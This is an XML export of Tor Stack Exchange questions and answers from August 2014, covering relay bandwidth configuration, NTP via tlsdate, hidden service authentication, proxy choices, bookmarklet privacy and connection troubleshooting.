  <row Id="3753" PostTypeId="2" ParentId="3730" CreationDate="2014-08-04T20:19:53.880" Score="2" Body="&lt;p&gt;You set values for &lt;code&gt;RelayBandwidthRate&lt;/code&gt; and &lt;code&gt;RelayBandwidthBurst&lt;/code&gt; in your &lt;code&gt;torrc&lt;/code&gt;. &lt;code&gt;RelayBandwidthRate&lt;/code&gt; is set to 500 KB. This translates to 500 kilo &lt;em&gt;Bytes&lt;/em&gt; per second, which is 500*8=4000 Kilo &lt;em&gt;Bits&lt;/em&gt; per second. arm somehow rounds this number down to 3.9 Mb/s. On your screenshot that shows the &lt;code&gt;torrc&lt;/code&gt; inside arm you changed the number to 250 KB and arm shows 2 Mb/s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;RelayBandwidthBurst&lt;/code&gt; is similar. You set a value of 2 Mega &lt;em&gt;Bytes&lt;/em&gt; and arm translated it to 16 Mega &lt;em&gt;Bits&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The up- and download numbers are also shown as Megabits per second. Your relay has roughly 1 Mb/s which is below 2 Mb/s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you change the &lt;code&gt;RelayBandwidthRate&lt;/code&gt; to &lt;code&gt;500 KBits&lt;/code&gt; you'll see a drop in traffic and I assume also arm will show the correct numbers to you.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2014-08-05T23:16:23.263" LastActivityDate="2014-08-05T23:16:23.263" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3754" PostTypeId="1" CreationDate="2014-08-04T20:33:16.027" Score="1" ViewCount="2397" Body="&lt;p&gt;In my answer to &lt;a href=&quot;https://tor.stackexchange.com/questions/3578/how-do-i-setup-tor-on-debian-for-secure-use-as-a-socks5-proxy&quot;&gt;How do I setup Tor on Debian for secure use as a SOCKS5 proxy?&lt;/a&gt;, I don't force traffic to port 123 (NTP) to use Tor. Being UDP, I don't get how I can.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an &quot;NTP port&quot; for Tor? I don't see anything in the manual.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the recommended way for handling NTP?&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2014-08-04T21:12:14.167" LastActivityDate="2014-10-04T13:37:50.403" Title="What is the recommended way for handling NTP?" Tags="|time|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3755" PostTypeId="2" ParentId="3754" CreationDate="2014-08-04T21:18:39.533" Score="1" Body="&lt;p&gt;Your best bet is using &lt;a href=&quot;https://github.com/ioerror/tlsdate/&quot; rel=&quot;nofollow&quot;&gt;tlsdate&lt;/a&gt;. This software connects to some TLS servers and extracts the time from the handshake. tlsdate uses TCP, so it can be used with Tor. As far as I know ChromeOS uses tlsdate to securely retrieve time data.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2014-08-05T13:28:25.870" LastActivityDate="2014-08-05T13:28:25.870" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3756" PostTypeId="1" CreationDate="2014-08-05T01:39:01.410" Score="10" ViewCount="375" Body="&lt;p&gt;The following is the default Tor network in shadow simulator:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Total BW of Guard flagged nodes=258.15 MB/S  &#xA;Total BW of Middle nodes=23.69 MB/S  &#xA;Total BW of Exit flagged nodes=13.23 MB/S  &#xA;Total BW of Guard+Exit flagged nodes=213.4 MB/S  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I inserted 40 guard nodes and 40 exit nodes, each of 5 MB/S in above Tor network and performed the simulation.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following are the bandwidth weights derived from the consensus document when Guard and Exit nodes of 5MB/S are added separately:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Wbd=1454 Wbe=0 Wbg=4882 Wbm=10000 Wdb=10000 Web=10000 Wed=7091 Wee=10000 Weg=7091 Wem=10000 Wgb=10000 Wgd=1454 Wgg=5118 Wgm=5118 Wmb=10000 Wmd=1454 Wme=0 Wmg=4882 Wmm=10000  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next I added 80 Guard-Exit (EE) nodes, each 5MB/S and perform the simulation.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following are the bandwidth weights derived from the consensus document when EE nodes of 5MB/S are added:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Wbd=4722 Wbe=0 Wbg=0 Wbm=10000 Wdb=10000 Web=10000 Wed=4826 Wee=10000 Weg=4826 Wem=10000 Wgb=10000 Wgd=452 Wgg=10000 Wgm=10000 Wmb=10000 Wmd=4722 Wme=0 Wmg=0 Wmm=10000  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I calculated the catch probability (probability that a client chooses my added nodes in guard as well as exit position while making circuit) in both cases and found that the second case yields more probability.&lt;br&gt;&#xA;Why is the catch probability for EE nodes much higher than for guard and exit node separately? OR is there any other reason for this?&lt;/p&gt;&#xA;" OwnerUserId="1384" LastEditorUserId="435" LastEditDate="2015-12-14T00:35:08.750" LastActivityDate="2015-12-14T00:35:08.750" Title="Why does adding a Guard-Exit (EE) node in Tor yield more catch probability than adding a guard and exit node separately?" Tags="|exit-relays|guard|" AnswerCount="0" CommentCount="6" ClosedDate="2018-02-01T13:54:48.967" ContentLicense="CC BY-SA 3.0" />
  <row Id="3757" PostTypeId="2" ParentId="3592" CreationDate="2014-08-05T01:58:39.090" Score="1" Body="&lt;p&gt;I guess this special address is the .onion address, which is the hash of public key of Bob.&lt;/p&gt;&#xA;" OwnerUserId="1384" LastActivityDate="2014-08-05T01:58:39.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3758" PostTypeId="2" ParentId="3592" CreationDate="2014-08-05T03:40:52.250" Score="0" Body="&lt;p&gt;&amp;lt;guesses&amp;gt;&lt;br/&gt;&#xA;I think that the address may be &quot;&quot; because you've already got a circuit to the hidden service's server.&#xA;Therefore the address &quot;&quot; is taken to mean the local server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the port is the port of the hidden service you're trying to connect to (probably 80).&#xA;&lt;br/&gt;&amp;lt;/guesses&amp;gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastActivityDate="2014-08-05T03:40:52.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3760" PostTypeId="2" ParentId="3752" CreationDate="2014-08-05T09:05:38.810" Score="1" Body="&lt;p&gt;I would recommend using SOCKS directly for performance reasons. Also, that might be one less software component which traffic patterns can be fingerprinted.&lt;/p&gt;&#xA;" OwnerUserId="1041" LastActivityDate="2014-08-05T09:05:38.810" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3761" PostTypeId="2" ParentId="3742" CreationDate="2014-08-05T09:07:56.607" Score="1" Body="&lt;p&gt;The easiest way to upgrade is: download a Tails 1.1 ISO, verify it, and burn it to a DVD. Boot on the DVD, then use the Tails Installer to upgrade your USB stick.&lt;/p&gt;&#xA;" OwnerUserId="1041" LastActivityDate="2014-08-05T09:07:56.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3762" PostTypeId="2" ParentId="3736" CreationDate="2014-08-05T09:15:49.657" Score="2" Body="&lt;p&gt;If you really want a hidden service to be private, you need to use authenticated hidden services. On the server side, this is the &lt;code&gt;HiddenServiceAuthorizeClient&lt;/code&gt; options, and clients will then need to add the &lt;code&gt;HidServAuth&lt;/code&gt; option to their local configuration. Access to the hidden service will be impossible unless clients have both the address and a valid authentication cookie.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The downside is that it's pretty cumbersome for the clients as there is no integration with the Tor Browser currently.&lt;/p&gt;&#xA;" OwnerUserId="1041" LastActivityDate="2014-08-05T09:15:49.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3763" PostTypeId="2" ParentId="3249" CreationDate="2014-08-05T09:18:59.800" Score="1" Body="&lt;p&gt;The issue was &lt;a href=&quot;https://tails.boum.org/security/Numerous_security_holes_in_1.0/&quot; rel=&quot;nofollow&quot;&gt;fixed in Tails 1.0.1&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1041" LastActivityDate="2014-08-05T09:18:59.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3764" PostTypeId="2" ParentId="3314" CreationDate="2014-08-05T09:29:18.227" Score="2" Body="&lt;p&gt;As you are not setting up a directory authority, &lt;code&gt;V3AuthoritativeDirectory&lt;/code&gt; &lt;code&gt;V3AuthVotingInterval&lt;/code&gt; should not be set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor will not put load on your disk. It will use bandwidth, CPU and memory. Disk usage is marginal in any cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the rest, I suggest looking at the documentation on &lt;a href=&quot;https://www.torservers.net/wiki/setup/server&quot; rel=&quot;nofollow&quot;&gt;how to setup a high speed relay&lt;/a&gt; on Torservers.net wiki.&lt;/p&gt;&#xA;" OwnerUserId="1041" LastActivityDate="2014-08-05T09:29:18.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3765" PostTypeId="2" ParentId="3722" CreationDate="2014-08-05T10:07:04.283" Score="1" Body="&lt;p&gt;According to the &lt;a href=&quot;https://gitweb.torproject.org/orbot.git/blob/HEAD:/src/org/torproject/android/service/TorService.java#l1957&quot; rel=&quot;nofollow&quot;&gt;code&lt;/a&gt;, using &lt;code&gt;obfs3 IP:PORT HASH&lt;/code&gt; is the right form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The debug log should contain bridge lines that are added.&lt;/p&gt;&#xA;" OwnerUserId="1041" LastActivityDate="2014-08-05T10:07:04.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3766" PostTypeId="1" CreationDate="2014-08-05T13:50:48.593" Score="5" ViewCount="1033" Body="&lt;p&gt;I have web server on my Raspberry Pi. After I installed and started to use Tor Relay with this &lt;a href=&quot;http://unsuspectingbit.com/tutorial-private-anonymizing-proxy-raspberry-pi-tor-based/&quot; rel=&quot;nofollow&quot;&gt;manual&lt;/a&gt;, I am not able to connect through proxy to my Raspberry Pi web server.  To run Tor proxy on unsupported device I use lighttpd. In the installation process it is written that it can't be used because port 80 is used with other service. I changed port 80 in the setting to port 8080 and it solved this problem.  Please tell me how to open access to Raspberry Pi web server. Despite my best effort, with my current abilities I am not able to access it. Would somebody help me with this problem please?&lt;/p&gt;&#xA;" OwnerUserId="3346" LastEditorUserId="923" LastEditDate="2014-08-06T18:43:06.663" LastActivityDate="2015-03-20T03:47:13.297" Title="Tor relay and web server on Raspberry Pi" Tags="|relays|raspberry-pi|web-proxy|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3767" PostTypeId="2" ParentId="3729" CreationDate="2014-08-05T17:47:51.987" Score="1" Body="&lt;p&gt;I'd start by looking at your apache configuration. Try loading the servers IP address in the browser and see what pops up. If nothing, then you need to configure the web server, or whatever hidden service you want to be sharing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say for example you wanted to share ssh over port 555 from a hidden service, in addition to the relevant syntax in your torrc file, you would also need to set up and configure ssh to listen on that port. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should also look in your torrc for the location of logs, if the logging function is commented out that would explain why you aren't getting any. Typically on Debian people put them in /var/log/tor&lt;/p&gt;&#xA;" OwnerUserId="3338" LastEditorUserId="923" LastEditDate="2014-08-05T18:48:59.573" LastActivityDate="2014-08-05T18:48:59.573" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3769" PostTypeId="1" CreationDate="2014-08-05T20:08:29.960" Score="3" ViewCount="389" Body="&lt;p&gt;I'm a Pinboard user accustomed to bookmarking webpages using their bookmarklet, which looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;href=&quot;javascript:q=location.href;if(document.getSelection){d=document.getSelection();}else{d=&amp;amp;apos;&amp;amp;apos;;};p=document.title;void(open(&amp;amp;apos;https://pinboard.in/add?url=&amp;amp;apos;+encodeURIComponent(q)+&amp;amp;apos;&amp;amp;description=&amp;amp;apos;+encodeURIComponent(d)+&amp;amp;apos;&amp;amp;title=&amp;amp;apos;+encodeURIComponent(p),&amp;amp;apos;Pinboard&amp;amp;apos;,&amp;amp;apos;toolbar=no,width=700,height=350&amp;amp;apos;))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of the privacy Tor provides me as I'm browsing the web, what, if anything, would I be giving up or risking by using a bookmarklet like this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know not disabling javascript in the Tor browser is itself a risk, so I suppose I am asking what added or specific risk am I taking with this bookmarklet...&lt;/p&gt;&#xA;" OwnerUserId="3351" LastEditorUserId="3351" LastEditDate="2014-08-05T21:55:27.663" LastActivityDate="2015-08-21T08:21:40.803" Title="Should I avoid javascript bookmarklets in the Tor broswer?" Tags="|tor-browser-bundle|javascript|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3770" PostTypeId="2" ParentId="3330" CreationDate="2014-08-05T22:23:15.217" Score="1" Body="&lt;p&gt;The function &lt;code&gt;onion_skin_client_handshake&lt;/code&gt; is defined in &lt;a href=&quot;https://gitweb.torproject.org/tor.git/blob/HEAD:/src/or/onion.c#l538&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;src/or/onion.c&lt;/code&gt;&lt;/a&gt; and performs the final step of the handshake when creating a circuit. This &lt;a href=&quot;https://gitweb.torproject.org/tor.git/blob/HEAD:/src/or/circuitbuild.c#l1269&quot; rel=&quot;nofollow&quot;&gt;warning&lt;/a&gt; tells you that the handshake has failed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The log message &lt;code&gt;circuit_finish_handshake&lt;/code&gt; comes from &lt;a href=&quot;https://gitweb.torproject.org/tor.git/blob/HEAD:/src/or/command.c#l359&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;command_process_created_cell()&lt;/code&gt;&lt;/a&gt;. This function tries to find out if the Tor client was the initiator of a circuit. If yes, the key processing is finished and the circuit will be extended. In the case of the error message the finishing of the handshake failed and Tor will close the current circuit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the last case Tor receives a relay cell and decides what to do with it. When this error message appears Tor wants to send it to the origin, but failed. (see &lt;a href=&quot;https://gitweb.torproject.org/tor.git/blob/HEAD:/src/or/relay.c#l169&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;circuit_receive_relay_cell&lt;/code&gt;&lt;/a&gt;). If I understand the source code correctly, the relay cell is later dropped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I understand it correctly Tor saw a more or less incorrect cell (think of a package) and handled it somehow. The message shows you that something happened and Tor cared about it. &lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-08-05T22:23:15.217" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3771" PostTypeId="2" ParentId="3752" CreationDate="2014-08-05T23:21:23.413" Score="4" Body="&lt;p&gt;Unfortunately, neither method is completely foolproof.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With SOCKS, the application may implement socks proxy support in a way that leaks DNS requests; you need to verify that the program delegates DNS lookups to the proxy (i.e. Tor), rather than handling its own DNS requests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a HTTP proxy, the some proxies may insert headers that could be used to identify/fingerprint you (e.g. an X-Forwarded-For or Via header). With polipo, make sure that the &lt;code&gt;disableVia&lt;/code&gt; option is set to &lt;code&gt;true&lt;/code&gt; (the default)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest option is probably to use torsocks (&lt;a href=&quot;https://gitweb.torproject.org/torsocks.git&quot; rel=&quot;nofollow&quot;&gt;https://gitweb.torproject.org/torsocks.git&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="3353" LastActivityDate="2014-08-05T23:21:23.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3772" PostTypeId="1" AcceptedAnswerId="3774" CreationDate="2014-08-06T01:38:40.017" Score="1" ViewCount="261" Body="&lt;p&gt;I've gotten the sense that using &lt;code&gt;TransPort&lt;/code&gt; as a transparent proxy is more-or-less deprecated, vs using application-specific &lt;code&gt;SocksPort&lt;/code&gt; and, if necessary, &lt;code&gt;torsocks&lt;/code&gt;. Is that correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, what are recommended use cases for &lt;code&gt;TransPort&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the key considerations?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I must say that &lt;code&gt;Pluggable Transport&lt;/code&gt; and &lt;code&gt;TransPort&lt;/code&gt; complicate searching.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-08-06T10:42:15.197" Title="Is TransPort deprecated? If not, what are recommended use cases?" Tags="|socks|pluggable-transports|transparent-proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3774" PostTypeId="2" ParentId="3772" CreationDate="2014-08-06T10:42:15.197" Score="2" Body="&lt;p&gt;From my point-of-view, &lt;code&gt;torsocks&lt;/code&gt; and using &lt;code&gt;TransPort&lt;/code&gt; selectively for some applications (e.g. like &lt;a href=&quot;https://blog.torproject.org/blog/mission-impossible-hardening-android-security-and-privacy&quot; rel=&quot;nofollow&quot;&gt;Mike's suggested setup for Android&lt;/a&gt;) is quite equivalent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two key differences, though:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;torsocks&lt;/code&gt; will take care of DNS leaks, so extra care is needed when using &lt;code&gt;TransPort&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;torsocks&lt;/code&gt; 2.0 will take care of filtering and blocking some network system calls. Again, it might be more straightforward than configuring the perfect firewall (hint: don't forget IPv6).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But in both cases, one can have a look at the application, what information it might be able to leak, and make an informed choice about routing its network traffic through Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is indeed now considered a bad idea is to route all traffic through Tor indiscriminately (using &lt;code&gt;TransPort&lt;/code&gt;). Having some random update manager sends a unique hardware identifier through Tor might not be the best strategy for anonymity.&lt;/p&gt;&#xA;" OwnerUserId="1041" LastActivityDate="2014-08-06T10:42:15.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3775" PostTypeId="1" AcceptedAnswerId="3795" CreationDate="2014-08-06T16:50:30.127" Score="9" ViewCount="166" Body="&lt;p&gt;Over the summer, I'm looking into depositing Tor relays (not exit nodes!) with my friends in family in the form of something that they can plug in and forget about. I've read about the Rasberry Pi being an excellent platform for a low-power relay, but I'm afraid I don't know how to set it up so that it updates itself. Is there a guide on setting up independent, low-power easily monitored Tor relays?&lt;/p&gt;&#xA;" OwnerUserId="587" LastActivityDate="2014-08-14T12:31:55.037" Title="Low power self-maintaining Tor relay" Tags="|relays|raspberry-pi|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3776" PostTypeId="2" ParentId="1065" CreationDate="2014-08-06T19:40:04.527" Score="2" Body="&lt;p&gt;Tor browser now uses &lt;code&gt;./Data/Tor/torrc-defaults&lt;/code&gt;. In &lt;code&gt;./Data/Tor/torrc&lt;/code&gt;, there's the warning:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This file was generated by Tor; if you edit it, comments will not be preserved&lt;br&gt;&#xA;  The old torrc file was renamed to torrc.orig.1 or similar, and Tor will ignore it&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is somewhat confusing, because in the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow&quot;&gt;manual&lt;/a&gt;, I see:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;--defaults-torrc FILE&lt;br&gt;&#xA;  &lt;br&gt;&#xA;  Specify a file in which to find default values for Tor options. The contents of this file are overridden by those in the regular configuration file, and by those on the command line. (Default: @CONFDIR@/torrc-defaults.)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But actually, that's the case in the Tor browser. It's just that &quot;the regular configuration file&quot; aka &lt;code&gt;./Data/Tor/torrc&lt;/code&gt; is &quot;generated by Tor&quot;, and doesn't preserve edits.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-08-06T19:40:04.527" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3777" PostTypeId="2" ParentId="921" CreationDate="2014-08-07T06:23:05.863" Score="1" Body="&lt;p&gt;TBB uses its own configuration. (Firefox settings are independent from the system.) Chrome uses the default system settings. Those two won't go into each other's way, or even know their counterpart exists.&lt;/p&gt;&#xA;" OwnerUserId="3160" LastActivityDate="2014-08-07T06:23:05.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3778" PostTypeId="1" CreationDate="2014-08-08T02:18:51.847" Score="3" ViewCount="5931" Body="&lt;p&gt;Can someone please explain how to get Lastpass to run in Tor, I need on occasions to access some sites that I have passwords which are impossible to remember. &lt;/p&gt;&#xA;" OwnerUserId="3362" LastEditorUserId="923" LastEditDate="2014-08-08T04:45:51.460" LastActivityDate="2021-05-18T01:43:19.827" Title="How to run Lastpass in Tor?" Tags="|tor-browser-bundle|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3779" PostTypeId="1" CreationDate="2014-08-08T06:30:53.647" Score="1" ViewCount="40" Body="&lt;p&gt;Download Vidalia i686 from &lt;a href=&quot;https://people.torproject.org/~erinn/vidalia-standalone-bundles/&quot; rel=&quot;nofollow&quot;&gt;https://people.torproject.org/~erinn/vidalia-standalone-bundles/&lt;/a&gt;, extract them to one folder, and executed start-vidalia in terminal in order to view the error, the error message say libssl and libcryto miss, after installing openssl-devel, no use at all, but after copying them to the vidalia Lib folder, it works. Well, I don't understand why this phenomenon happen? My OS is fedora 20 32bit Gnome livecd.&lt;/p&gt;&#xA;" OwnerUserId="3363" LastEditorUserId="923" LastEditDate="2014-08-08T08:34:02.390" LastActivityDate="2014-08-08T08:34:02.390" Title="Vidalia i686 failure starting" Tags="|vidalia|fedora|" AnswerCount="0" CommentCount="0" ClosedDate="2015-08-25T06:15:45.273" ContentLicense="CC BY-SA 3.0" />
  <row Id="3781" PostTypeId="1" CreationDate="2014-08-08T16:22:58.700" Score="4" ViewCount="621" Body="&lt;p&gt;Many people say that Mac OSX has a backdoor in it. It probably does, why wouldn't it? It's closed source therefore it would be stupid for Apple not to put in a special access route. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is what implications does this have on anonymity/Tor? Let's say you're running VirtualBox with Whonix with a Mac OS X host, what's the danger in that if,&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;No important information is stored on the computer&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The computer is only used for Tor to browse the internet and that's it&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Can somebody explain what the dangers are during normal browsing (through Tor)  even if a backdoor is present? Why would an open source host make Whonix and VirtualBox safer? Again, this would obviously be different if actual data is stored on the system and could therefore be looked at or stolen. However browsing is fairly amnesic. I think the problem is that I'm not understanding how a computer can be attacked during just browsing the web through Tor. &lt;/p&gt;&#xA;" OwnerUserId="3366" LastEditorUserId="923" LastEditDate="2014-08-08T16:40:00.623" LastActivityDate="2014-09-10T23:46:26.797" Title="What are the dangers of possible Mac OSX backdoor?" Tags="|anonymity|security|whonix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3782" PostTypeId="1" CreationDate="2014-08-08T17:51:55.353" Score="9" ViewCount="84280" Body="&lt;p&gt;I need to get detailed instructions how to completely remove Tor browser from Windows 7.&lt;/p&gt;&#xA;" OwnerUserId="3367" LastEditorUserId="-1" LastEditDate="2017-08-22T08:31:11.050" LastActivityDate="2020-02-01T15:42:55.400" Title="How do I uninstall Tor browser from Windows 7?" Tags="|tor-browser-bundle|help|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3784" PostTypeId="1" CreationDate="2014-08-08T18:19:04.500" Score="5" ViewCount="5216" Body="&lt;p&gt;If I wanted to make a few services (like a website and imap) only available via a .onion address, can someone scan the .onion address to see all the open services that point to it? If I don't want them discoverable, but still only reachable via Tor, should I make something like a VPN connection listen on the .onion address and then connect to that? In essence, if I make a hidden service available to a .onion address, is it the same as opening a port on my firewall and pointing it to the server (albeit only seen on the Tor network)?&lt;/p&gt;&#xA;" OwnerUserId="3368" LastEditorUserId="923" LastEditDate="2014-08-09T08:05:55.807" LastActivityDate="2015-11-26T08:43:12.730" Title="Can People Scan a .onion Address For Hidden Services?" Tags="|onion-services|onion-routing|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3785" PostTypeId="1" CreationDate="2014-08-08T18:52:05.753" Score="1" ViewCount="63" Body="&lt;p&gt;Hi guys I have configured a Raspberry Pi to be run as a relay, however I am unable to connect to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can any of you connect to it ? The name is Goblin500.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created a python library that should be able to make circuits on Tor, so far this has been successful but for some reason I can not connect to my own relay and am just trying to start pinpointing the issue.&lt;/p&gt;&#xA;" OwnerUserId="3369" LastEditorUserId="923" LastEditDate="2014-08-09T08:12:13.430" LastActivityDate="2014-08-09T08:12:13.430" Title="Tor relay unable to be connected to" Tags="|relays|raspberry-pi|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3786" PostTypeId="1" CreationDate="2014-08-08T19:19:31.480" Score="2" ViewCount="2586" Body="&lt;p&gt;I'm hunting for nice cannabis strains but when I use .onion website links with Tor program, only a few of them open up but everything that has better reviews and products (for example, DeepWeb, SilkRoad, Black Market etc) won't open up. It says the page can't be loaded, but my network is just fine and I know some people are using the same links perfectly fine. Is there a problem with my laptop or with Tor itself? What can I do? I'd really appreciate all the responses!&lt;/p&gt;&#xA;" OwnerUserId="3370" LastEditorUserId="923" LastEditDate="2014-08-09T08:08:03.847" LastActivityDate="2014-08-16T18:40:59.463" Title="Problems with opening certain .onion websites" Tags="|onion-services|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3788" PostTypeId="2" ParentId="3782" CreationDate="2014-08-08T21:50:32.273" Score="6" Body="&lt;p&gt;Delete the folder you unpacked it to, as simple as that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or to make sure all traces are gone use something like fileshredder to make sure its fully untraceable (it's used for removing folders and files and overwrites with random data).&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2014-08-08T21:50:32.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3791" PostTypeId="1" CreationDate="2014-08-09T06:56:23.863" Score="1" ViewCount="14017" Body="&lt;p&gt;I don't know why but my Tor can't seem to establish an encrypted directory connection. And when I see the logs it shows this warning &quot;Problem bootstrapping. Stuck at 10 % : Connecting to directory server&quot;. I am accessing the Tor from my university internet and I have even used the latest version of Tor with pluggable transport but nothing seems to work.&lt;/p&gt;&#xA;" OwnerUserId="3374" LastEditorUserId="923" LastEditDate="2014-08-09T07:57:36.513" LastActivityDate="2017-02-27T15:13:53.150" Title="Tor stuck at 10 % Bootstrap" Tags="|tor-browser-bundle|vidalia|bootstrapping|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3792" PostTypeId="2" ParentId="3791" CreationDate="2014-08-09T08:38:46.220" Score="-1" Body="&lt;p&gt;It appears that your university is blocking all connections to Tor. Depending on what you intend to do, you may have some options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Option 1: If you just want to circumvent university censorship, you may try few free VPN and see if they work from your environment. If they work you either can use them or connect to Tor through them for example to connect to hidden services. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Option 2: Use Tails and figure out if it works from your environment. Tails is a live CD/USB operating system preconfigured to use Tor safely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Option 3: Use JAP/JonDo free service and see if it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Option 4: Explain in details, how you connect to internet from your environment. For example, do you have to log in with username and password, provide as much detail as you can so that we can give you a custom solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Option 4: You may choose additional bridges above and beyond what comes as a default with Tor browser. You may find them at &lt;a href=&quot;https://bridges.torproject.org/?transport=obfs2&quot; rel=&quot;nofollow&quot;&gt;https://bridges.torproject.org/?transport=obfs2&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-08-09T16:15:20.923" LastActivityDate="2014-08-09T16:15:20.923" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
